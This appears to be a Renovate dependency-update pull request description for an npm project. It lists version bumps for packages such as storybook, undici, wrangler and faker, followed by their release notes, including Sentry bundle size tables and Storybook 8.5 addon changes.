| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`16.5.3` -> `16.6.0`](https://renovatebot.com/diffs/npm/happy-dom/16.5.3/16.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/16.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/16.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/16.5.3/16.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/16.5.3/16.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [nest-winston](https://redirect.github.com/gremo/nest-winston) | [`1.10.0` -> `1.10.1`](https://renovatebot.com/diffs/npm/nest-winston/1.10.0/1.10.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/nest-winston/1.10.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/nest-winston/1.10.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/nest-winston/1.10.0/1.10.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nest-winston/1.10.0/1.10.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [postcss](https://postcss.org/) ([source](https://redirect.github.com/postcss/postcss)) | [`8.5.0` -> `8.5.1`](https://renovatebot.com/diffs/npm/postcss/8.5.0/8.5.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/postcss/8.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/postcss/8.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/postcss/8.5.0/8.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/postcss/8.5.0/8.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [shiki](https://redirect.github.com/shikijs/shiki) ([source](https://redirect.github.com/shikijs/shiki/tree/HEAD/packages/shiki)) | [`1.27.0` -> `1.27.2`](https://renovatebot.com/diffs/npm/shiki/1.27.0/1.27.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/shiki/1.27.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/shiki/1.27.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/shiki/1.27.0/1.27.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shiki/1.27.0/1.27.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [sonner](https://sonner.emilkowal.ski/) ([source](https://redirect.github.com/emilkowalski/sonner)) | [`1.7.1` -> `1.7.2`](https://renovatebot.com/diffs/npm/sonner/1.7.1/1.7.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/sonner/1.7.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/sonner/1.7.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/sonner/1.7.1/1.7.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/sonner/1.7.1/1.7.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [storybook](https://redirect.github.com/storybookjs/storybook/tree/next/code/lib/cli) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/lib/cli)) | [`8.4.7` -> `8.5.0`](https://renovatebot.com/diffs/npm/storybook/8.4.7/8.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/storybook/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/storybook/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/storybook/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/storybook/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [undici](https://undici.nodejs.org) ([source](https://redirect.github.com/nodejs/undici)) | [`7.2.1` -> `7.2.2`](https://renovatebot.com/diffs/npm/undici/7.2.1/7.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/undici/7.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/undici/7.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/undici/7.2.1/7.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/undici/7.2.1/7.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [wrangler](https://redirect.github.com/cloudflare/workers-sdk) ([source](https://redirect.github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler)) | [`3.101.0` -> `3.102.0`](https://renovatebot.com/diffs/npm/wrangler/3.101.0/3.102.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/wrangler/3.102.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/wrangler/3.102.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/wrangler/3.101.0/3.102.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/wrangler/3.101.0/3.102.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>aws/aws-sdk-js-v3 (@&#8203;aws-sdk/client-s3)</summary>

### [`v3.729.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37290-2025-01-15)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.726.1...v3.729.0)

##### Features

-   **client-s3:** This change enhances integrity protections for new SDK requests to S3. S3 SDKs now support the CRC64NVME checksum algorithm, full object checksums for multipart S3 objects, and new default integrity protections for S3 requests. ([a550721](a550721e05))

#### [3.726.1](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.726.0...v3.726.1) (2025-01-10)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

</details>

<details>
<summary>ionic-team/capacitor-plugins (@&#8203;capacitor/browser)</summary>

### [`v6.0.5`](https://redirect.github.com/ionic-team/capacitor-plugins/releases/tag/%40capacitor/browser%406.0.5)

[Compare Source](https://redirect.github.com/ionic-team/capacitor-plugins/compare/@capacitor/browser@6.0.4...@capacitor/browser@6.0.5)

##### Bug Fixes

-   **browser:** crash when trying to open blob urls on android ([#&#8203;2274](https://redirect.github.com/ionic-team/capacitor-plugins/issues/2274)) ([#&#8203;2294](https://redirect.github.com/ionic-team/capacitor-plugins/issues/2294)) ([111582c](111582c2e7))

</details>

<details>
<summary>faker-js/faker (@&#8203;faker-js/faker)</summary>

### [`v9.4.0`](https://redirect.github.com/faker-js/faker/blob/HEAD/CHANGELOG.md#940-2025-01-15)

[Compare Source](https://redirect.github.com/faker-js/faker/compare/v9.3.0...v9.4.0)

##### Features

-   **finance:** use fake patterns for transactionDescription ([#&#8203;3202](https://redirect.github.com/faker-js/faker/issues/3202)) ([5ec4a6c](5ec4a6c9dd))
-   **internet:** update to simplified modern user-agent list ([#&#8203;3324](https://redirect.github.com/faker-js/faker/issues/3324)) ([3c7abb5](3c7abb55e6))
-   **location:** add list of spoken languages ([#&#8203;3333](https://redirect.github.com/faker-js/faker/issues/3333)) ([ff6dda9](ff6dda94dd))

##### Changed Locales

-   **locale:** fix various locale data with trailing spaces ([#&#8203;3329](https://redirect.github.com/faker-js/faker/issues/3329)) ([e5eec0e](e5eec0ed84))
-   **locale:** improve product_name data in en and tr ([#&#8203;3372](https://redirect.github.com/faker-js/faker/issues/3372)) ([773fc1f](773fc1f654))

##### Bug Fixes

-   **animal:** re-moo-ved some incorrect cow data ([#&#8203;3326](https://redirect.github.com/faker-js/faker/issues/3326)) ([47f835b](47f835bd0d))
-   basic wildcard range handling + add more tests ([#&#8203;3322](https://redirect.github.com/faker-js/faker/issues/3322)) ([817f8a0](817f8a01d9))
-   **finance:** update Discover card number format to ensure accuracy ([#&#8203;3336](https://redirect.github.com/faker-js/faker/issues/3336)) ([69c0063](69c006344b))
-   **image:** dataUri should return random type ([#&#8203;3347](https://redirect.github.com/faker-js/faker/issues/3347)) ([eceb17d](eceb17d257))
-   **locales:** update chemical element names in zh_CN ([#&#8203;3371](https://redirect.github.com/faker-js/faker/issues/3371)) ([6ec6f84](6ec6f84922))
-   **location:** fix bad uz street_name_part data ([#&#8203;3328](https://redirect.github.com/faker-js/faker/issues/3328)) ([b6132cb](b6132cbee6))
-   **music:** fix truncated song names with commas ([#&#8203;3327](https://redirect.github.com/faker-js/faker/issues/3327)) ([f36fc71](f36fc71ac4)), closes [#&#8203;996](https://redirect.github.com/faker-js/faker/issues/996)
-   **system:** semver parts should not be limited to 0-9 ([#&#8203;3349](https://redirect.github.com/faker-js/faker/issues/3349)) ([c0d92b8](c0d92b8fa8))

</details>

<details>
<summary>open-telemetry/opentelemetry-js (@&#8203;opentelemetry/core)</summary>

### [`v1.30.1`](https://redirect.github.com/open-telemetry/opentelemetry-js/compare/v1.30.0...cbc912d67bda462ca00449d7ce7b80052c20a4fc)

[Compare Source](https://redirect.github.com/open-telemetry/opentelemetry-js/compare/v1.30.0...v1.30.1)

</details>

<details>
<summary>getsentry/sentry-electron (@&#8203;sentry/electron)</summary>

### [`v5.10.0`](https://redirect.github.com/getsentry/sentry-electron/blob/HEAD/CHANGELOG.md#5100)

[Compare Source](https://redirect.github.com/getsentry/sentry-electron/compare/5.9.0...5.10.0)

-   fix: Deprecate renderer init options which should only be used in main process
    ([#&#8203;1044](https://redirect.github.com/getsentry/sentry-electron/issues/1044))
-   feat: Update from
    [v8.46.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/8.46.0)
    to
    [v8.48.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/8.48.0)
    of JavaScript SDKs ([#&#8203;1046](https://redirect.github.com/getsentry/sentry-electron/issues/1046))
-   feat: Determine Electron process from minidump metadata ([#&#8203;1049](https://redirect.github.com/getsentry/sentry-electron/issues/1049))
-   fix: Guard against invalid queue entries ([#&#8203;1053](https://redirect.github.com/getsentry/sentry-electron/issues/1053))

</details>

<details>
<summary>getsentry/sentry-javascript (@&#8203;sentry/react)</summary>

### [`v8.50.0`](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/8.50.0)

[Compare Source](https://redirect.github.com/getsentry/sentry-javascript/compare/8.49.0...8.50.0)

-   feat(v8/react): Add support for React Router `createMemoryRouter` ([#&#8203;14985](https://redirect.github.com/getsentry/sentry-javascript/pull/14985))

#### Bundle size 📦

| Path                                                             | Size              |
| ---------------------------------------------------------------- | ----------------- |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser)                                                  | 23.29 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) - with treeshaking flags                         | 21.96 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing)                                  | 35.85 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay)                          | 73.19 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay) - with treeshaking flags | 63.58 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay with Canvas)              | 77.5 KB   |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay, Feedback)                | 89.43 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Feedback)                                 | 39.5 KB   |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. sendFeedback)                             | 27.89 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. FeedbackAsync)                            | 32.69 KB  |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react)                                                    | 25.97 KB  |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react) (incl. Tracing)                                    | 38.67 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue)                                                      | 27.57 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue) (incl. Tracing)                                      | 37.71 KB  |
| [@&#8203;sentry/svelte](https://redirect.github.com/sentry/svelte)                                                   | 23.45 KB  |
| CDN Bundle                                                       | 24.49 KB  |
| CDN Bundle (incl. Tracing)                                       | 37.56 KB  |
| CDN Bundle (incl. Tracing, Replay)                               | 72.84 KB  |
| CDN Bundle (incl. Tracing, Replay, Feedback)                     | 78.2 KB   |
| CDN Bundle - uncompressed                                        | 71.93 KB  |
| CDN Bundle (incl. Tracing) - uncompressed                        | 111.42 KB |
| CDN Bundle (incl. Tracing, Replay) - uncompressed                | 225.68 KB |
| CDN Bundle (incl. Tracing, Replay, Feedback) - uncompressed      | 238.78 KB |
| [@&#8203;sentry/nextjs](https://redirect.github.com/sentry/nextjs) (client)                                          | 38.92 KB  |
| [@&#8203;sentry/sveltekit](https://redirect.github.com/sentry/sveltekit) (client)                                       | 36.35 KB  |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node)                                                     | 162.82 KB |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node) - without tracing                                   | 98.95 KB  |
| [@&#8203;sentry/aws-serverless](https://redirect.github.com/sentry/aws-serverless)                                           | 126.65 KB |

### [`v8.49.0`](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/8.49.0)

[Compare Source](https://redirect.github.com/getsentry/sentry-javascript/compare/8.48.0...8.49.0)

-   feat(v8/browser): Flush offline queue on flush and browser online event ([#&#8203;14969](https://redirect.github.com/getsentry/sentry-javascript/pull/14969))
-   feat(v8/react): Add a `handled` prop to ErrorBoundary ([#&#8203;14978](https://redirect.github.com/getsentry/sentry-javascript/pull/14978))
-   fix(profiling/v8): Don't put `require`, `__filename` and `__dirname` on global object ([#&#8203;14952](https://redirect.github.com/getsentry/sentry-javascript/pull/14952))
-   fix(v8/node): Enforce that ContextLines integration does not leave open file handles ([#&#8203;14997](https://redirect.github.com/getsentry/sentry-javascript/pull/14997))
-   fix(v8/replay): Disable mousemove sampling in rrweb for iOS browsers ([#&#8203;14944](https://redirect.github.com/getsentry/sentry-javascript/pull/14944))
-   fix(v8/sveltekit): Ensure source maps deletion is called after source ma… ([#&#8203;14963](https://redirect.github.com/getsentry/sentry-javascript/pull/14963))
-   fix(v8/vue): Re-throw error when no errorHandler exists ([#&#8203;14943](https://redirect.github.com/getsentry/sentry-javascript/pull/14943))

Work in this release was contributed by [@&#8203;HHK1](https://redirect.github.com/HHK1) and [@&#8203;mstrokin](https://redirect.github.com/mstrokin). Thank you for your contribution!

#### Bundle size 📦

| Path                                                             | Size              |
| ---------------------------------------------------------------- | ----------------- |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser)                                                  | 23.29 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) - with treeshaking flags                         | 21.96 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing)                                  | 35.85 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay)                          | 73.19 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay) - with treeshaking flags | 63.58 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay with Canvas)              | 77.5 KB   |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay, Feedback)                | 89.44 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Feedback)                                 | 39.5 KB   |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. sendFeedback)                             | 27.89 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. FeedbackAsync)                            | 32.69 KB  |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react)                                                    | 25.97 KB  |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react) (incl. Tracing)                                    | 38.67 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue)                                                      | 27.57 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue) (incl. Tracing)                                      | 37.71 KB  |
| [@&#8203;sentry/svelte](https://redirect.github.com/sentry/svelte)                                                   | 23.45 KB  |
| CDN Bundle                                                       | 24.49 KB  |
| CDN Bundle (incl. Tracing)                                       | 37.56 KB  |
| CDN Bundle (incl. Tracing, Replay)                               | 72.84 KB  |
| CDN Bundle (incl. Tracing, Replay, Feedback)                     | 78.2 KB   |
| CDN Bundle - uncompressed                                        | 71.93 KB  |
| CDN Bundle (incl. Tracing) - uncompressed                        | 111.42 KB |
| CDN Bundle (incl. Tracing, Replay) - uncompressed                | 225.68 KB |
| CDN Bundle (incl. Tracing, Replay, Feedback) - uncompressed      | 238.78 KB |
| [@&#8203;sentry/nextjs](https://redirect.github.com/sentry/nextjs) (client)                                          | 38.92 KB  |
| [@&#8203;sentry/sveltekit](https://redirect.github.com/sentry/sveltekit) (client)                                       | 36.36 KB  |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node)                                                     | 162.82 KB |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node) - without tracing                                   | 98.95 KB  |
| [@&#8203;sentry/aws-serverless](https://redirect.github.com/sentry/aws-serverless)                                           | 126.65 KB |

</details>

<details>
<summary>DaveMBush/eslint-plugin-rxjs (@&#8203;smarttools/eslint-plugin-rxjs)</summary>

### [`v1.0.16`](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/releases/tag/v1.0.16): 1.0.16 (2025-01-15)

[Compare Source](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/compare/v1.0.15...v1.0.16)

Remove name property from recommended-legacy
Cleans up circular references

</details>

<details>
<summary>storybookjs/storybook (@&#8203;storybook/addon-essentials)</summary>

### [`v8.5.0`](https://redirect.github.com/storybookjs/storybook/blob/HEAD/CHANGELOG.md#850)

[Compare Source](https://redirect.github.com/storybookjs/storybook/compare/v8.4.7...v8.5.0)

Storybook 8.5 is packed with powerful features to enhance your development workflow. This release makes it easier than ever to build accessible, well-tested UIs. Here’s what’s new:

-   🦾 Realtime accessibility tests to help build UIs for everybody
-   🛡️ Project code coverage to measure the completeness of your tests
-   🎯 Focused tests for faster test feedback
-   ⚛️ React Native Web Vite framework (experimental) for testing mobile UI⚛️
-   🎁 Storybook test early access program to level up your testing game
-   💯 Hundreds more improvements

<details>
<summary>List of all updates</summary>

-   Addon A11y: Add conditional rendering for a11y violation number in Testing Module - [#&#8203;30073](https://redirect.github.com/storybookjs/storybook/pull/30073), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon A11y: Add typesVersions support for TypeScript definitions in a11y package - [#&#8203;30005](https://redirect.github.com/storybookjs/storybook/pull/30005), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon A11y: Adjust default behaviour when using with experimental-addon-test - [#&#8203;30162](https://redirect.github.com/storybookjs/storybook/pull/30162), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon A11y: Change default element selector - [#&#8203;30253](https://redirect.github.com/storybookjs/storybook/pull/30253), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon A11y: Create a11y test provider and revamp a11y addon - [#&#8203;29643](https://redirect.github.com/storybookjs/storybook/pull/29643), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon A11y: Don't set a11y tag as comment in automigrations - [#&#8203;30257](https://redirect.github.com/storybookjs/storybook/pull/30257), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon A11y: Fix skipped status handling in Testing Module - [#&#8203;30077](https://redirect.github.com/storybookjs/storybook/pull/30077), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon A11y: Refactor environment variable handling for Vitest integration - [#&#8203;30022](https://redirect.github.com/storybookjs/storybook/pull/30022), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon A11y: Remove warnings API - [#&#8203;30049](https://redirect.github.com/storybookjs/storybook/pull/30049), thanks [@&#8203;kasperpeulen](https://redirect.github.com/kasperpeulen)!
-   Addon A11y: Run the a11y automigration on postInstall - [#&#8203;30004](https://redirect.github.com/storybookjs/storybook/pull/30004), thanks [@&#8203;kasperpeulen](https://redirect.github.com/kasperpeulen)!
-   Addon A11y: Show errors of axe properly - [#&#8203;30050](https://redirect.github.com/storybookjs/storybook/pull/30050), thanks [@&#8203;kasperpeulen](https://redirect.github.com/kasperpeulen)!
-   Addon A11y: Update accessibility status handling in TestProviderRender - [#&#8203;30027](https://redirect.github.com/storybookjs/storybook/pull/30027), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon Docs: Dynamically import rehype - [#&#8203;29544](https://redirect.github.com/storybookjs/storybook/pull/29544), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon Docs: Make new code panel opt in - [#&#8203;30248](https://redirect.github.com/storybookjs/storybook/pull/30248), thanks [@&#8203;shilman](https://redirect.github.com/shilman)!
-   Addon Onboarding: Prebundle react-confetti - [#&#8203;29996](https://redirect.github.com/storybookjs/storybook/pull/29996), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   Addon Test: Add `@vitest/coverage-v8` during postinstall if no coverage reporter is installed - [#&#8203;29993](https://redirect.github.com/storybookjs/storybook/pull/29993), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Add prerequisite check for MSW - [#&#8203;30193](https://redirect.github.com/storybookjs/storybook/pull/30193), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   Addon Test: Add support for previewHead - [#&#8203;29808](https://redirect.github.com/storybookjs/storybook/pull/29808), thanks [@&#8203;ndelangen](https://redirect.github.com/ndelangen)!
-   Addon Test: Add Vitest 3 support - [#&#8203;30181](https://redirect.github.com/storybookjs/storybook/pull/30181), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon Test: Always run Vitest in watch mode internally - [#&#8203;29749](https://redirect.github.com/storybookjs/storybook/pull/29749), thanks [@&#8203;JReinhold](https://redirect.github.com/JReinhold)!
-   Addon Test: Always use installed version of vitest - [#&#8203;30134](https://redirect.github.com/storybookjs/storybook/pull/30134), thanks [@&#8203;kasperpeulen](https://redirect.github.com/kasperpeulen)!
-   Addon Test: Clarify message when `vitest` detects missing deps - [#&#8203;29763](https://redirect.github.com/storybookjs/storybook/pull/29763), thanks [@&#8203;ndelangen](https://redirect.github.com/ndelangen)!
-   Addon Test: Clear coverage data when starting or watching - [#&#8203;30072](https://redirect.github.com/storybookjs/storybook/pull/30072), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Context menu UI - [#&#8203;29727](https://redirect.github.com/storybookjs/storybook/pull/29727), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Context menu updates - [#&#8203;30107](https://redirect.github.com/storybookjs/storybook/pull/30107), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Correctly stop Storybook when Vitest closes - [#&#8203;30012](https://redirect.github.com/storybookjs/storybook/pull/30012), thanks [@&#8203;JReinhold](https://redirect.github.com/JReinhold)!
-   Addon Test: Filter out falsy test results in TestProviderRender - [#&#8203;30001](https://redirect.github.com/storybookjs/storybook/pull/30001), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon Test: Fix documentation links - [#&#8203;30128](https://redirect.github.com/storybookjs/storybook/pull/30128), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   Addon Test: Fix duplicate `test.include` patterns - [#&#8203;30029](https://redirect.github.com/storybookjs/storybook/pull/30029), thanks [@&#8203;JReinhold](https://redirect.github.com/JReinhold)!
-   Addon Test: Fix environment variable for Vitest Storybook integration - [#&#8203;30054](https://redirect.github.com/storybookjs/storybook/pull/30054), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon Test: Fix error reporting for `vitest` crashes - [#&#8203;29751](https://redirect.github.com/storybookjs/storybook/pull/29751), thanks [@&#8203;ndelangen](https://redirect.github.com/ndelangen)!
-   Addon Test: Fix generated path to `vitest.setup.js` - [#&#8203;30233](https://redirect.github.com/storybookjs/storybook/pull/30233), thanks [@&#8203;JReinhold](https://redirect.github.com/JReinhold)!
-   Addon Test: Fix indexing behavior - [#&#8203;29836](https://redirect.github.com/storybookjs/storybook/pull/29836), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   Addon Test: Fix printing null% for coverage - [#&#8203;30061](https://redirect.github.com/storybookjs/storybook/pull/30061), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Fix run request while booting or restarting Vitest - [#&#8203;29829](https://redirect.github.com/storybookjs/storybook/pull/29829), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Handle undefined storyId - [#&#8203;29998](https://redirect.github.com/storybookjs/storybook/pull/29998), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Improve error message on missing coverage package - [#&#8203;30088](https://redirect.github.com/storybookjs/storybook/pull/30088), thanks [@&#8203;JReinhold](https://redirect.github.com/JReinhold)!
-   Addon Test: Improve support for mono-repos - [#&#8203;30216](https://redirect.github.com/storybookjs/storybook/pull/30216), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon Test: Make component tests status row link to the story's tests panel - [#&#8203;29992](https://redirect.github.com/storybookjs/storybook/pull/29992), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Merge viteFinal config into vitest config - [#&#8203;29806](https://redirect.github.com/storybookjs/storybook/pull/29806), thanks [@&#8203;ndelangen](https://redirect.github.com/ndelangen)!
-   Addon Test: Only optimize react deps if applicable in vitest-plugin - [#&#8203;29617](https://redirect.github.com/storybookjs/storybook/pull/29617), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   Addon Test: Only reset story count on file change when watch mode is enabled - [#&#8203;30121](https://redirect.github.com/storybookjs/storybook/pull/30121), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Optimize internal dependencies - [#&#8203;29595](https://redirect.github.com/storybookjs/storybook/pull/29595), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   Addon Test: Prompt switch to `experimental-nextjs-vite` - [#&#8203;29814](https://redirect.github.com/storybookjs/storybook/pull/29814), thanks [@&#8203;ndelangen](https://redirect.github.com/ndelangen)!
-   Addon Test: Refactor test addon to include stories automatically - [#&#8203;29367](https://redirect.github.com/storybookjs/storybook/pull/29367), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   Addon Test: Remove a11y placeholder - [#&#8203;29769](https://redirect.github.com/storybookjs/storybook/pull/29769), thanks [@&#8203;JReinhold](https://redirect.github.com/JReinhold)!
-   Addon Test: Replace `glob` with `tinyglobby` - [#&#8203;29817](https://redirect.github.com/storybookjs/storybook/pull/29817), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Serve `staticDirs` with Vitest - [#&#8203;29811](https://redirect.github.com/storybookjs/storybook/pull/29811), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Show sub test provider toggle state in main testing module - [#&#8203;30019](https://redirect.github.com/storybookjs/storybook/pull/30019), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Support Storybook environment variables in Vitest - [#&#8203;29792](https://redirect.github.com/storybookjs/storybook/pull/29792), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Use correct vitest config file path - [#&#8203;30135](https://redirect.github.com/storybookjs/storybook/pull/30135), thanks [@&#8203;kasperpeulen](https://redirect.github.com/kasperpeulen)!
-   Addon Test: Use local storybook binary instead - [#&#8203;30021](https://redirect.github.com/storybookjs/storybook/pull/30021), thanks [@&#8203;kasperpeulen](https://redirect.github.com/kasperpeulen)!
-   Addon Test: Use ProgressSpinner for stop button in Testing Module - [#&#8203;29997](https://redirect.github.com/storybookjs/storybook/pull/29997), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Wait for 2 seconds before showing result mismatch warning - [#&#8203;30002](https://redirect.github.com/storybookjs/storybook/pull/30002), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
